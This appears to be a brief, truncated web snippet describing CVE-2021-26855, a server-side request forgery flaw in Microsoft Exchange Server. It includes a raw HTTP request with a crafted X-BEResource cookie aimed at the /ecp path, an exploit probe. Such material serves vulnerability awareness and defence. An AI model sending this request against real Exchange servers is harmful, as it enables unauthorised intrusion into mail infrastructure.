cve-2021-26855

cve-2021-26855 root@kitploit: GET /ecp/x.png HTTP/1.1 Host: 192.168.170.134 Cookie: X-BEResource=localhost1942062522 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:109.0 Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0...

The vulnerability of Microsoft Exchange Server servers, related to insufficient validation of incoming requests, allows attackers to execute SSRF attacks.

The vulnerability of Microsoft Exchange Server lies in the insufficient checking of incoming requests. Exploiting this vulnerability allows a malicious actor to execute an SSRF attack using specially crafted HTTPS requests that contain malicious cookie files named X-AnonResource-Backend and...